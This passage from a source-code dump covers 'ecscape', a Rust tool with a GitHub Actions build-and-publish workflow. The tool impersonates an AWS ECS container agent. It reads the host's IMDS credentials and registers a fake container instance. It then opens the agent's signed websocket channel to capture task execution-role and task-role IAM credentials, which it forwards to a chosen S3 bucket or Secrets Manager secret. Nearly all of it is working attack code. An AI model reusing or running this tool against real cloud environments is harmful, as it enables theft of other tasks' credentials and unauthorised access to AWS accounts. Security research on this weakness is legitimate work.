1; } 52 | 53 | - name: Upload Binary 54 | uses: actions/upload-artifact@v4 55 | with: 56 | name: ecscape-${{ matrix.target }} 57 | path: target/${{ matrix.target }}/release/ecscape 58 | 59 | docker: 60 | needs: build 61 | runs-on: ubuntu-latest 62 | strategy: 63 | matrix: 64 | arch: [x86_64, aarch64] 65 | steps: 66 | - name: Checkout 67 | uses: actions/checkout@v3 68 | 69 | - name: Download Built Binary 70 | uses: actions/download-artifact@v4 71 | with: 72 | name: ecscape-${{ matrix.arch }}-unknown-linux-musl 73 | path: . 74 | 75 | - name: Log in to GHCR 76 | run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin 77 | 78 | - name: Build and Tag Docker Image 79 | run: | 80 | docker build --platform linux/${{ matrix.arch }} \ 81 | -t ghcr.io/${{ github.repository_owner }}/ecscape:${{ matrix.arch }} \ 82 | --build-arg ARCH=${{ matrix.arch }} . 83 | 84 | - name: Push Docker Image 85 | run: docker push ghcr.io/${{ github.repository_owner }}/ecscape:${{ matrix.arch }} 86 | 87 | manifest: 88 | needs: docker 89 | runs-on: ubuntu-latest 90 | steps: 91 | - name: Log in to GHCR 92 | run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin 93 | 94 | - name: Create and Push Multi-Arch Manifest 95 | run: | 96 | docker manifest create ghcr.io/${{ github.repository_owner }}/ecscape:latest \ 97 | --amend ghcr.io/${{ github.repository_owner }}/ecscape:x86_64 \ 98 | --amend ghcr.io/${{ github.repository_owner }}/ecscape:aarch64 99 | docker manifest push ghcr.io/${{ github.repository_owner }}/ecscape:latest -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use crate::{ 2 | config::{ARCH, VERSION}, 3 | credentials_reactors::{ 4 | CredentialsReactor, ECScapeCredentials, s3_reactor::S3Reactor, 5 | secrets_manager_reactor::SecretsManagerReactor, 6 | }, 7 | ecscape::ECScape, 8 | imds_metadata::IMDSMetadata, 9 | }; 10 | use anyhow::Result; 11 | use clap::Parser; 12 | use std::thread; 13 | use tokio::{ 14 | select, 15 | signal::unix::{SignalKind, signal}, 16 | sync::broadcast, 17 | }; 18 | use tracing::{error, info, warn}; 19 | 20 | mod config; 21 | mod credentials_reactors; 22 | mod ecs_agent_metadata; 23 | mod ecscape; 24 | mod imds_metadata; 25 | mod protocols; 26 | mod ws_client; 27 | 28 | #[global_allocator] 29 | static GLOBAL: mimalloc::MiMalloc = mimalloc::MiMalloc; 30 | 31 | #[derive(Parser, Debug)] 32 | #[command(arg_required_else_help(false))] 33 | struct Args { 34 | #[arg(long)] 35 | s3_bucket: Option, 36 | #[arg(long)] 37 | secret_arn: Option, 38 | } 39 | 40 | async fn main_inner() -> Result<()> { 41 | tracing_subscriber::fmt::init(); 42 | 43 | let args = match Args::try_parse() { 44 | Ok(args) => args, 45 | Err(err) => { 46 | error!("Failed to parse command line arguments: {:?}", err); 47 | err.exit(); 48 | } 49 | }; 50 | 51 | info!("ecscape started ({}-{})", VERSION.as_str(), ARCH.as_str()); 52 | 53 | let imds_metadata = IMDSMetadata::try_new().await?; 54 | 55 | let (credentials_sender, _) = broadcast::channel::(1024); 56 | 57 | let s3_reactor = S3Reactor::new(args.s3_bucket, imds_metadata.region.clone()); 58 | 59 | let secrets_reactor = SecretsManagerReactor::new(args.secret_arn, imds_metadata.region.clone()); 60 | 61 | let ecscape = ECScape::try_new(imds_metadata).await?; 62 | 63 | let mut interrupt = signal(SignalKind::interrupt())?; 64 | let mut terminate = signal(SignalKind::terminate())?; 65 | 66 | let res = select! { 67 | _ = interrupt.recv() => { 68 | warn!("SIGINT received, stopping..."); 69 | Ok(()) 70 | } 71 | _ = terminate.recv() => { 72 | warn!("SIGTERM received, stopping..."); 73 | Ok(()) 74 | } 75 | 76 | res = s3_reactor.start(credentials_sender.subscribe()) => res, 77 | res = secrets_reactor.start(credentials_sender.subscribe()) => res, 78 | 79 | res = ecscape.start(credentials_sender) => res, 80 | }; 81 | 82 | res 83 | } 84 | 85 | async fn async_main() -> Result<()> { 86 | main_inner() 87 | .await 88 | .inspect(|_| info!("ecscape finished gracefully")) 89 | .inspect_err(|err| error!("ecscape finished with error: {:?}", err))?; 90 | 91 | Ok(()) 92 | } 93 | 94 | fn main() -> Result<()> { 95 | const MAX_THREADS: usize = 8; 96 | 97 | rustls::crypto::ring::default_provider() 98 | .install_default() 99 | .expect("failed to install rustls crypto provider"); 100 | 101 | let worker_threads = thread::available_parallelism() 102 | .map(|o| o.get()) 103 | .unwrap_or(MAX_THREADS) 104 | .min(MAX_THREADS); 105 | 106 | tokio::runtime::Builder::new_multi_thread() 107 | .worker_threads(worker_threads) 108 | .enable_all() 109 | .build()? 110 | .block_on(async_main())?; 111 | 112 | Ok(()) 113 | } 114 | -------------------------------------------------------------------------------- /src/protocols/request_builder.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use aws_credential_types::Credentials; 3 | use aws_sdk_ecs::operation::discover_poll_endpoint::DiscoverPollEndpointOutput; 4 | use aws_sigv4::{ 5 | http_request::{SignableBody, SignableRequest, SigningSettings, sign}, 6 | sign::v4::SigningParams, 7 | }; 8 | use std::time::SystemTime; 9 | use tokio_tungstenite::tungstenite::http::{Method, Request}; 10 | use url::Url; 11 | 12 | pub trait RequestBuilder { 13 | fn build_url( 14 | &self, 15 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 16 | cluster_arn: &str, 17 | container_instance_arn: &str, 18 | agent_version: &str, 19 | agent_hash: &str, 20 | ) -> Result; 21 | 22 | fn build_ws_url(url: &str) -> Result { 23 | let mut url = Url::parse(url)?; 24 | 25 | match url.scheme() { 26 | "http" => url 27 | .set_scheme("ws") 28 | .map_err(|_| anyhow!("failed to set scheme to ws"))?, 29 | "https" => url 30 | .set_scheme("wss") 31 | .map_err(|_| anyhow!("failed to set scheme to wss"))?, 32 | scheme => return Err(anyhow!("unsupported scheme: {scheme}")), 33 | }; 34 | 35 | if !url.path().ends_with('/') { 36 | url.set_path(&format!("{}/ws", url.path())); 37 | } else { 38 | url.set_path(&format!("{}ws", url.path())); 39 | } 40 | 41 | Ok(url) 42 | } 43 | 44 | fn build_request( 45 | &self, 46 | credentials: Credentials, 47 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 48 | region: &str, 49 | cluster_arn: &str, 50 | container_instance_arn: &str, 51 | agent_version: &str, 52 | agent_hash: &str, 53 | ) -> Result> { 54 | let url = self.build_url( 55 | discover_poll_endpoint_output, 56 | cluster_arn, 57 | container_instance_arn, 58 | agent_version, 59 | agent_hash, 60 | )?; 61 | 62 | let signable_request = SignableRequest::new( 63 | "GET", 64 | url.as_str(), 65 | std::iter::empty(), 66 | SignableBody::Bytes(&[]), 67 | )?; 68 | 69 | let identity = credentials.into(); 70 | 71 | let signing_params = SigningParams::builder() 72 | .identity(&identity) 73 | .region(region) 74 | .name("ecs") 75 | .time(SystemTime::now()) 76 | .settings(SigningSettings::default()) 77 | .build()? 78 | .into(); 79 | 80 | let (signing_instructions, _signature) = 81 | sign(signable_request, &signing_params)?.into_parts(); 82 | 83 | let mut request = Request::builder() 84 | .method(Method::GET) 85 | .uri(url.as_str()) 86 | .header("Host", url.host_str().ok_or(anyhow!("Missing host"))?) 87 | .header("Upgrade", "websocket") 88 | .header("Connection", "Upgrade") 89 | .header( 90 | "Sec-WebSocket-Key", 91 | tokio_tungstenite::tungstenite::handshake::client::generate_key(), 92 | ) 93 | .header("Sec-WebSocket-Version", "13") 94 | .body(())?; 95 | signing_instructions.apply_to_request_http1x(&mut request); 96 | 97 | Ok(request) 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/protocols/structs/tcs_messages.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | use super::common::*; 3 | 4 | #[derive(Serialize, Deserialize, Debug)] 5 | #[serde(tag = "type", content = "message")] 6 | pub enum TCSMessage { 7 | // Common messages (heartbeat) 8 | HeartbeatMessage(HeartbeatMessageStruct), 9 | HeartbeatAckRequest(HeartbeatAckRequestStruct), 10 | 11 | // TCS-specific outbound messages (what we send to TCS) 12 | PublishMetricsRequest(PublishMetricsRequestStruct), 13 | PublishHealthRequest(PublishHealthRequestStruct), 14 | PublishInstanceStatusRequest(PublishInstanceStatusRequestStruct), 15 | StartTelemetrySessionRequest(StartTelemetrySessionRequestStruct), 16 | 17 | // TCS-specific inbound messages (what TCS sends to us) 18 | AckPublishMetric(AckPublishMetricStruct), 19 | AckPublishHealth(AckPublishHealthStruct), 20 | AckPublishInstanceStatus(AckPublishInstanceStatusStruct), 21 | StopTelemetrySessionMessage(StopTelemetrySessionMessageStruct), 22 | 23 | // Common error/close messages 24 | ErrorMessage(ErrorMessageStruct), 25 | CloseMessage(CloseMessageStruct), 26 | } 27 | 28 | // TCS outbound message structs (what we send) 29 | #[derive(Serialize, Deserialize, Debug)] 30 | #[serde(rename_all = "camelCase")] 31 | pub struct PublishMetricsRequestStruct { 32 | pub message_id: String, 33 | pub cluster_arn: String, 34 | pub container_instance_arn: String, 35 | pub timestamp: Option, 36 | pub metrics: Vec, 37 | } 38 | 39 | #[derive(Serialize, Deserialize, Debug)] 40 | #[serde(rename_all = "camelCase")] 41 | pub struct PublishHealthRequestStruct { 42 | pub message_id: String, 43 | pub cluster_arn: String, 44 | pub container_instance_arn: String, 45 | pub timestamp: Option, 46 | pub health_metrics: Vec, 47 | } 48 | 49 | #[derive(Serialize, Deserialize, Debug)] 50 | #[serde(rename_all = "camelCase")] 51 | pub struct PublishInstanceStatusRequestStruct { 52 | pub message_id: String, 53 | pub cluster_arn: String, 54 | pub container_instance_arn: String, 55 | pub timestamp: Option, 56 | pub status: String, 57 | pub generated_at: Option, 58 | } 59 | 60 | #[derive(Serialize, Deserialize, Debug)] 61 | #[serde(rename_all = "camelCase")] 62 | pub struct StartTelemetrySessionRequestStruct { 63 | pub message_id: String, 64 | pub cluster_arn: String, 65 | pub container_instance_arn: String, 66 | pub container_instance_tags: Option>, 67 | } 68 | 69 | // TCS inbound message structs (what TCS sends to us) 70 | #[derive(Serialize, Deserialize, Debug)] 71 | #[serde(rename_all = "camelCase")] 72 | pub struct AckPublishMetricStruct { 73 | pub message_id: String, 74 | } 75 | 76 | #[derive(Serialize, Deserialize, Debug)] 77 | #[serde(rename_all = "camelCase")] 78 | pub struct AckPublishHealthStruct { 79 | pub message_id: String, 80 | } 81 | 82 | #[derive(Serialize, Deserialize, Debug)] 83 | #[serde(rename_all = "camelCase")] 84 | pub struct AckPublishInstanceStatusStruct { 85 | pub message_id: String, 86 | } 87 | 88 | #[derive(Serialize, Deserialize, Debug)] 89 | #[serde(rename_all = "camelCase")] 90 | pub struct StopTelemetrySessionMessageStruct { 91 | pub message_id: String, 92 | pub reason: Option, 93 | } 94 | 95 | // Supporting data structures for TCS messages 96 | #[derive(Serialize, Deserialize, Debug)] 97 | #[serde(rename_all = "camelCase")] 98 | pub struct MetricData { 99 | pub metric_name: String, 100 | pub value: f64, 101 | pub unit: Option, 102 | pub timestamp: Option, 103 | pub dimensions: Option>, 104 | } 105 | 106 | #[derive(Serialize, Deserialize, Debug)] 107 | #[serde(rename_all = "camelCase")] 108 | pub struct HealthMetric { 109 | pub metric_name: String, 110 | pub status: String, // "OK", "WARNING", "CRITICAL" 111 | pub timestamp: Option, 112 | pub details: Option, 113 | } 114 | -------------------------------------------------------------------------------- /src/ws_client.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use futures_util::{ 3 | SinkExt, StreamExt, 4 | stream::{SplitSink, SplitStream}, 5 | }; 6 | use std::time::Duration; 7 | use tokio::{ 8 | net::TcpStream, 9 | select, 10 | sync::mpsc::{ 11 | Receiver, Sender, UnboundedReceiver, UnboundedSender, channel, unbounded_channel, 12 | }, 13 | task::{JoinHandle, block_in_place}, 14 | time::{MissedTickBehavior, interval}, 15 | }; 16 | use tokio_tungstenite::{ 17 | MaybeTlsStream, WebSocketStream, connect_async, 18 | tungstenite::{Message, http::Request}, 19 | }; 20 | use tracing::{debug, warn}; 21 | 22 | pub struct WSClient { 23 | write_tx: UnboundedSender, 24 | close_tx: Sender<()>, 25 | join_writer: JoinHandle>, 26 | reader: SplitStream>>, 27 | } 28 | 29 | impl WSClient { 30 | pub async fn connect(request: Request<()>) -> Result { 31 | let (ws_stream, response) = connect_async(request).await?; 32 | if response.status() != 101 { 33 | return Err(anyhow!( 34 | "Failed to establish WebSocket connection, status: {}", 35 | response.status() 36 | )); 37 | } 38 | 39 | let (sink, stream) = ws_stream.split(); 40 | 41 | let (write_tx, write_rx) = unbounded_channel(); 42 | let (close_tx, close_rx) = channel(1); 43 | let join_writer = tokio::spawn(Self::writer_task(close_rx, write_rx, sink)); 44 | 45 | Ok(Self { 46 | close_tx, 47 | write_tx, 48 | join_writer, 49 | reader: stream, 50 | }) 51 | } 52 | 53 | async fn writer_task( 54 | mut close_rx: Receiver<()>, 55 | mut write_rx: UnboundedReceiver, 56 | mut sink: SplitSink>, Message>, 57 | ) -> Result<()> { 58 | const PING_INTERVAL: Duration = Duration::from_secs(30); 59 | 60 | let mut ping_ticker = interval(PING_INTERVAL); 61 | ping_ticker.set_missed_tick_behavior(MissedTickBehavior::Delay); 62 | 63 | loop { 64 | select! { 65 | biased; 66 | _ = close_rx.recv() => { 67 | debug!("WebSocket close channel closed, closing connection and stopping handler task"); 68 | sink.send(Message::Close(None)).await?; 69 | break; 70 | } 71 | msg = write_rx.recv() => { 72 | match msg { 73 | Some(msg) => { 74 | debug!("Sending message: {:?}", msg); 75 | sink.send(Message::Text(msg.into())).await?; 76 | } 77 | None => { 78 | debug!("WebSocket write channel closed, stopping writer task"); 79 | break; 80 | } 81 | } 82 | } 83 | _ = ping_ticker.tick() => { 84 | sink.send(Message::Ping(Default::default())).await?; 85 | } 86 | } 87 | } 88 | 89 | Ok(()) 90 | } 91 | 92 | pub async fn send(&self, message: String) -> Result<()> { 93 | // Check if the writer task is still running 94 | if self.join_writer.is_finished() { 95 | return Err(anyhow!( 96 | "WebSocket writer task has finished, cannot send message" 97 | )); 98 | } 99 | 100 | self.write_tx.send(message)?; 101 | 102 | Ok(()) 103 | } 104 | 105 | pub async fn receive(&mut self) -> Result> { 106 | loop { 107 | match self.reader.next().await { 108 | Some(Ok(msg)) => match msg { 109 | Message::Text(text) => return Ok(Some(text.to_string())), 110 | Message::Close(_) => { 111 | debug!("WebSocket connection closed by server"); 112 | return Ok(None); 113 | } 114 | Message::Ping(_data) => { 115 | // Tungsite automatically responds to pings with a pong 116 | } 117 | Message::Pong(_) => {} 118 | _ => { 119 | // ACS protocol shouldn't use binary messages 120 | return Err(anyhow!("Unexpected WS message type")); 121 | } 122 | }, 123 | Some(Err(err)) => return Err(anyhow!("WebSocket error: {:?}", err)), 124 | None => return Ok(None), 125 | } 126 | } 127 | } 128 | } 129 | 130 | impl Drop for WSClient { 131 | fn drop(&mut self) { 132 | block_in_place(|| { 133 | let runtime = tokio::runtime::Handle::current(); 134 | runtime.block_on(async { 135 | if let Err(err) = self.close_tx.send(()).await { 136 | warn!("Failed to send close signal: {:?}", err); 137 | } 138 | }); 139 | let result = runtime.block_on(&mut self.join_writer); 140 | if let Err(err) = result { 141 | warn!("writer task did not stop properly: {:?}", err); 142 | } 143 | }); 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/ecs_container_instance_registrator.rs: -------------------------------------------------------------------------------- 1 | use crate::{ecs_agent_metadata::ECSAgentMetadata, imds_metadata::IMDSMetadata}; 2 | use anyhow::{Result, anyhow}; 3 | use aws_credential_types::Credentials; 4 | use aws_sdk_ecs::{ 5 | Client as EcsClient, 6 | config::SharedCredentialsProvider, 7 | types::builders::{AttributeBuilder, ResourceBuilder, VersionInfoBuilder}, 8 | }; 9 | use aws_types::{SdkConfig, region::Region}; 10 | use sysinfo::System; 11 | 12 | pub struct ECSContainerInstanceRegistrator { 13 | container_instance_arn: String, 14 | } 15 | 16 | impl ECSContainerInstanceRegistrator { 17 | pub async fn try_new() -> Result { 18 | const DOCKER_VERSION: &str = "25.0.8"; 19 | 20 | let imds_metadata = IMDSMetadata::try_new().await?; 21 | let ecs_agent_metadata = ECSAgentMetadata::try_new(&imds_metadata.local_ip).await?; 22 | 23 | let credentials = Credentials::new( 24 | imds_metadata.aws_access_key_id.as_str(), 25 | imds_metadata.aws_access_secret_key.as_str(), 26 | Some(imds_metadata.aws_access_token.clone()), 27 | None, 28 | "IMDS", 29 | ); 30 | 31 | let credentials_provider = SharedCredentialsProvider::new(credentials); 32 | let region = Region::new(ecs_agent_metadata.region); 33 | let sdk_config = SdkConfig::builder() 34 | .credentials_provider(credentials_provider) 35 | .region(region) 36 | .build(); 37 | let ecs_client = EcsClient::new(&sdk_config); 38 | 39 | let num_cpus = num_cpus::get() as i32 * 1024; 40 | let sys = System::new_all(); 41 | let memory_mb = (sys.total_memory() / 1024 / 1024) as i32; 42 | 43 | let resources = vec![ 44 | ResourceBuilder::default() 45 | .name("CPU") 46 | .r#type("INTEGER") 47 | .integer_value(num_cpus) 48 | .build(), 49 | ResourceBuilder::default() 50 | .name("MEMORY") 51 | .r#type("INTEGER") 52 | .integer_value(memory_mb) 53 | .build(), 54 | ResourceBuilder::default() 55 | .name("PORTS") 56 | .r#type("STRINGSET") 57 | .set_string_set_value(Some(vec![])) // No reserved ports by default 58 | .build(), 59 | ResourceBuilder::default() 60 | .name("PORTS_UDP") 61 | .r#type("STRINGSET") 62 | .set_string_set_value(Some(vec![])) // No reserved UDP ports by default 63 | .build(), 64 | ]; 65 | 66 | // Build version info with ECS agent metadata and Docker version 67 | let version_info = VersionInfoBuilder::default() 68 | .agent_version(ecs_agent_metadata.ecs_agent_version) 69 | .agent_hash(ecs_agent_metadata.ecs_agent_hash) 70 | .docker_version(DOCKER_VERSION) 71 | .build(); 72 | 73 | let result = ecs_client 74 | .register_container_instance() 75 | .cluster(&ecs_agent_metadata.cluster_arn) 76 | .instance_identity_document(&imds_metadata.identity_document) 77 | .instance_identity_document_signature(&imds_metadata.identity_signature) 78 | .set_total_resources(Some(resources)) 79 | .version_info(version_info) 80 | .attributes( 81 | AttributeBuilder::default() 82 | .name("ecs.capability.secrets.asm.environment-variables") 83 | .build()?, 84 | ) 85 | .attributes( 86 | AttributeBuilder::default() 87 | .name("ecs.capability.secrets.asm.bootstrap.log-driver") 88 | .build()?, 89 | ) 90 | .attributes( 91 | AttributeBuilder::default() 92 | .name("ecs.capability.secrets.ssm.environment-variables") 93 | .build()?, 94 | ) 95 | .attributes( 96 | AttributeBuilder::default() 97 | .name("ecs.capability.secrets.ssm.bootstrap.log-driver") 98 | .build()?, 99 | ) 100 | .attributes( 101 | AttributeBuilder::default() 102 | .name("ecs.capability.execution-role-awslogs") 103 | .build()?, 104 | ) 105 | .attributes( 106 | AttributeBuilder::default() 107 | .name("ecs.capability.execution-role-ecr-pull") 108 | .build()?, 109 | ) 110 | .attributes( 111 | AttributeBuilder::default() 112 | .name("ecs.capability.container-health-check") 113 | .build()?, 114 | ) 115 | .attributes( 116 | AttributeBuilder::default() 117 | .name("ecs.capability.task-cpu-mem-limit") 118 | .build()?, 119 | ) 120 | .attributes( 121 | AttributeBuilder::default() 122 | .name("ecs.capability.logging-driver.awslogs") 123 | .build()?, 124 | ) 125 | .attributes( 126 | AttributeBuilder::default() 127 | .name("ecs.capability.docker-remote-api.1.17") 128 | .build()?, 129 | ) 130 | .attributes( 131 | AttributeBuilder::default() 132 | .name("ecs.capability.docker-remote-api.1.18") 133 | .build()?, 134 | ) 135 | .attributes( 136 | AttributeBuilder::default() 137 | .name("ecs.capability.docker-remote-api.1.19") 138 | .build()?, 139 | ) 140 | .attributes( 141 | AttributeBuilder::default() 142 | .name("ecs.capability.task-iam-role") 143 | .build()?, 144 | ) 145 | .attributes( 146 | AttributeBuilder::default() 147 | .name("ecs.capability.task-iam-role-network-host") 148 | .build()?, 149 | ) 150 | .send() 151 | .await?; 152 | 153 | let container_instance = result.container_instance().ok_or(anyhow!( 154 | "Failed to register container instance: no container instance returned" 155 | ))?; 156 | 157 | let container_instance_arn = container_instance 158 | .container_instance_arn() 159 | .ok_or(anyhow!("Failed to get container instance ARN"))?; 160 | 161 | Ok(Self { 162 | container_instance_arn: container_instance_arn.to_string(), 163 | }) 164 | } 165 | 166 | pub fn container_instance_arn(&self) -> &str { 167 | self.container_instance_arn.as_ref() 168 | } 169 | } 170 | -------------------------------------------------------------------------------- /src/protocols/acs/structs.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | #[derive(Serialize, Deserialize, Debug)] 4 | #[serde(tag = "type", content = "message")] 5 | pub enum ACSMessage { 6 | HeartbeatMessage(HeartbeatMessageStruct), 7 | HeartbeatAckRequest(HeartbeatAckRequestStruct), 8 | TaskManifestMessage(TaskManifestMessageStruct), 9 | TaskStopVerificationMessage(TaskStopVerificationMessageStruct), 10 | TaskStopVerificationAck(TaskStopVerificationAckStruct), 11 | PublishMetricsRequest(PublishMetricsRequestStruct), 12 | PublishInstanceStatusRequest(PublishInstanceStatusRequestStruct), 13 | IAMRoleCredentialsMessage(IAMRoleCredentialsMessageStruct), 14 | IAMRoleCredentialsAckRequest(IAMRoleCredentialsAckRequestStruct), 15 | RefreshCredentialsMessage(RefreshCredentialsMessageStruct), 16 | RefreshCredentialsAckRequest(RefreshCredentialsAckRequestStruct), 17 | PayloadMessage(PayloadMessageStruct), 18 | AttachTaskNetworkInterfacesMessage(AttachTaskNetworkInterfacesMessageStruct), 19 | AttachInstanceNetworkInterfacesMessage(AttachInstanceNetworkInterfacesMessageStruct), 20 | ConfirmAttachmentMessage(ConfirmAttachmentMessageStruct), 21 | AckRequest(AckRequestStruct), 22 | ErrorMessage(ErrorMessageStruct), 23 | CloseMessage(CloseMessageStruct), 24 | } 25 | 26 | #[derive(Serialize, Deserialize, Debug)] 27 | #[serde(rename_all = "camelCase")] 28 | pub struct HeartbeatMessageStruct { 29 | pub message_id: String, 30 | pub healthy: Option, 31 | } 32 | 33 | #[derive(Serialize, Deserialize, Debug)] 34 | #[serde(rename_all = "camelCase")] 35 | pub struct HeartbeatAckRequestStruct { 36 | pub message_id: String, 37 | } 38 | 39 | #[derive(Serialize, Deserialize, Debug)] 40 | #[serde(rename_all = "camelCase")] 41 | pub struct TaskManifestMessageStruct { 42 | pub message_id: String, 43 | pub cluster_arn: String, 44 | pub container_instance_arn: String, 45 | pub tasks: Option>, 46 | pub timeline: Option, 47 | } 48 | 49 | #[derive(Serialize, Deserialize, Debug)] 50 | #[serde(rename_all = "camelCase")] 51 | pub struct TaskStopVerificationMessageStruct { 52 | pub message_id: String, 53 | pub stop_candidates: Option>, 54 | } 55 | 56 | #[derive(Serialize, Deserialize, Debug)] 57 | #[serde(rename_all = "camelCase")] 58 | pub struct TaskStopVerificationAckStruct { 59 | pub message_id: String, 60 | pub generated_at: Option, 61 | pub stop_tasks: Option>, 62 | } 63 | 64 | #[derive(Serialize, Deserialize, Debug, Clone)] 65 | #[serde(rename_all = "camelCase")] 66 | pub struct TaskIdentifier { 67 | pub task_arn: Option, 68 | pub task_cluster_arn: Option, 69 | pub desired_status: Option, 70 | } 71 | 72 | #[derive(Serialize, Deserialize, Debug)] 73 | #[serde(rename_all = "camelCase")] 74 | pub struct Task { 75 | // Essential fields for credential capture and ACK responses 76 | pub arn: Option, // Used in ACK logging 77 | pub execution_role_credentials: Option, // Primary credential field 78 | pub role_credentials: Option, // Task role credentials 79 | } 80 | 81 | #[derive(Serialize, Deserialize, Debug)] 82 | #[serde(rename_all = "camelCase")] 83 | pub struct AttachTaskNetworkInterfacesMessageStruct { 84 | pub message_id: String, 85 | pub cluster_arn: String, 86 | pub container_instance_arn: String, 87 | pub task_arn: String, 88 | // Minimal stub - only fields needed for ACK functionality 89 | } 90 | 91 | #[derive(Serialize, Deserialize, Debug)] 92 | #[serde(rename_all = "camelCase")] 93 | pub struct AttachInstanceNetworkInterfacesMessageStruct { 94 | pub message_id: String, 95 | pub cluster_arn: String, 96 | pub container_instance_arn: String, 97 | // Minimal stub - only fields needed for ACK functionality 98 | } 99 | 100 | #[derive(Serialize, Deserialize, Debug)] 101 | #[serde(rename_all = "camelCase")] 102 | pub struct AckRequestStruct { 103 | pub message_id: String, 104 | pub cluster: String, 105 | pub container_instance: String, 106 | } 107 | 108 | #[derive(Serialize, Deserialize, Debug)] 109 | #[serde(rename_all = "camelCase")] 110 | pub struct ConfirmAttachmentMessageStruct { 111 | pub message_id: String, 112 | pub cluster_arn: String, 113 | pub container_instance_arn: String, 114 | pub task_arn: Option, 115 | pub task_cluster_arn: Option, 116 | // Minimal stub - only fields needed for ACK functionality 117 | } 118 | 119 | #[derive(Serialize, Deserialize, Debug)] 120 | #[serde(rename_all = "camelCase")] 121 | pub struct PayloadMessageStruct { 122 | pub message_id: String, 123 | pub cluster_arn: String, 124 | pub container_instance_arn: String, 125 | pub tasks: Option>, 126 | } 127 | 128 | #[derive(Serialize, Deserialize, Debug)] 129 | #[serde(rename_all = "camelCase")] 130 | pub struct PublishMetricsRequestStruct { 131 | pub message_id: String, 132 | // Minimal stub - not used for credential capture 133 | } 134 | 135 | #[derive(Serialize, Deserialize, Debug)] 136 | #[serde(rename_all = "camelCase")] 137 | pub struct PublishInstanceStatusRequestStruct { 138 | pub message_id: String, 139 | // Minimal stub - not used for credential capture 140 | } 141 | 142 | #[derive(Serialize, Deserialize, Debug)] 143 | #[serde(rename_all = "camelCase")] 144 | pub struct IAMRoleCredentialsMessageStruct { 145 | pub message_id: String, 146 | pub task_arn: Option, 147 | pub role_type: Option, 148 | pub role_credentials: Option, 149 | } 150 | 151 | #[derive(Serialize, Deserialize, Debug)] 152 | #[serde(rename_all = "camelCase")] 153 | pub struct RefreshCredentialsMessageStruct { 154 | pub message_id: String, 155 | pub task_arn: Option, 156 | pub role_type: Option, 157 | pub role_credentials: Option, 158 | } 159 | 160 | #[derive(Serialize, Deserialize, Debug)] 161 | #[serde(rename_all = "camelCase")] 162 | pub struct RefreshCredentialsAckRequestStruct { 163 | pub message_id: String, 164 | pub task_arn: Option, 165 | pub expiration: Option, 166 | pub credentials_id: Option, 167 | } 168 | 169 | #[derive(Serialize, Deserialize, Debug)] 170 | #[serde(rename_all = "camelCase")] 171 | pub struct IAMRoleCredentials { 172 | pub credentials_id: Option, 173 | pub access_key_id: String, 174 | pub secret_access_key: String, 175 | pub session_token: String, 176 | pub role_arn: Option, 177 | pub expiration: Option, 178 | } 179 | 180 | #[derive(Serialize, Deserialize, Debug)] 181 | #[serde(rename_all = "camelCase")] 182 | pub struct IAMRoleCredentialsAckRequestStruct { 183 | pub message_id: String, 184 | pub expiration: Option, 185 | pub credentials_id: Option, 186 | } 187 | 188 | #[derive(Serialize, Deserialize, Debug)] 189 | #[serde(rename_all = "camelCase")] 190 | pub struct ErrorMessageStruct { 191 | pub message_id: String, 192 | pub error_type: Option, 193 | pub error_message: Option, 194 | } 195 | 196 | #[derive(Serialize, Deserialize, Debug)] 197 | #[serde(rename_all = "camelCase")] 198 | pub struct CloseMessageStruct { 199 | pub message_id: String, 200 | pub reason: Option, 201 | } 202 | -------------------------------------------------------------------------------- /src/protocols/tcs/structs.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | #[derive(Serialize, Deserialize, Debug)] 4 | #[serde(tag = "type", content = "message")] 5 | pub enum TCSMessage { 6 | // TCS inbound messages (what TCS sends to us) 7 | StopTelemetrySessionMessage(StopTelemetrySessionMessageStruct), 8 | AckPublishMetric(AckPublishMetricStruct), 9 | HeartbeatMessage(HeartbeatMessageStruct), 10 | AckPublishHealth(AckPublishHealthStruct), 11 | AckPublishInstanceStatus(AckPublishInstanceStatusStruct), 12 | 13 | // TCS outbound messages (what we send to TCS) 14 | PublishMetricsRequest(PublishMetricsRequestStruct), 15 | PublishHealthRequest(PublishHealthRequestStruct), 16 | StartTelemetrySessionRequest(StartTelemetrySessionRequestStruct), 17 | PublishInstanceStatusRequest(PublishInstanceStatusRequestStruct), 18 | 19 | // TCS exception messages 20 | ServerException(ServerExceptionStruct), 21 | BadRequestException(BadRequestExceptionStruct), 22 | ResourceValidationException(ResourceValidationExceptionStruct), 23 | InvalidParameterException(InvalidParameterExceptionStruct), 24 | ErrorMessage(ErrorMessageStruct), 25 | } 26 | 27 | // TCS heartbeat message (inbound from TCS) 28 | #[derive(Serialize, Deserialize, Debug)] 29 | #[serde(rename_all = "camelCase")] 30 | pub struct HeartbeatMessageStruct { 31 | pub healthy: Option, 32 | } 33 | 34 | // TCS outbound message structs (what we send to TCS) - Based on Go API 35 | #[derive(Serialize, Deserialize, Debug)] 36 | #[serde(rename_all = "camelCase")] 37 | pub struct PublishMetricsRequestStruct { 38 | pub instance_metrics: Option, 39 | pub metadata: Option, 40 | pub task_metrics: Option>, 41 | pub timestamp: Option, // utils.Timestamp in Go 42 | } 43 | 44 | #[derive(Serialize, Deserialize, Debug)] 45 | #[serde(rename_all = "camelCase")] 46 | pub struct PublishHealthRequestStruct { 47 | pub metadata: Option, 48 | pub tasks: Option>, 49 | pub timestamp: Option, // utils.Timestamp in Go 50 | } 51 | 52 | #[derive(Serialize, Deserialize, Debug)] 53 | #[serde(rename_all = "camelCase")] 54 | pub struct PublishInstanceStatusRequestStruct { 55 | pub metadata: Option, 56 | pub statuses: Option>, 57 | pub timestamp: Option, // utils.Timestamp in Go 58 | } 59 | 60 | #[derive(Serialize, Deserialize, Debug)] 61 | #[serde(rename_all = "camelCase")] 62 | pub struct StartTelemetrySessionRequestStruct { 63 | pub 